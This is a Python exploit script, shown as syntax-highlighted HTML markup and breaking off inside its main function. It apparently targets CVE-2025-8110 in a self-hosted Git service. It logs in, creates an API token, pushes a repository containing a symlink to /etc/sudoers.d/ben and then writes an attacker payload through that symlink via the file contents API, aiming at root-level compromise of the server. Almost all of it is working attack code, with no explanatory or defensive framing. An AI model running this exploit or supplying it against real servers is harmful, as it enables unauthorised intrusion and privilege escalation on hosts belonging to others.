&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bs4&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;

&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disable_warnings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;InsecureRequestWarning&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;login_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/user/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input[name=_csrf]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;login_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_csrf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;login_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_application_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;settings_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/user/settings/applications&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;get_resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input[name=_csrf]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_csrf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;html.parser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;div&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;class_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ui info message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;p&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_malicious_repo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/user/repos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;repo_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto_init&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;token &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;upload_malicious_symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;repo_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;clone_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;@&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clone&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clone_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/sudoers.d/ben&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;add&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;commit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Poison&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;push&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;origin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;master&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repo_dir&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/repos/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/contents/malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Exploit CVE-2025-8110&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-u&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;USERNAME&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
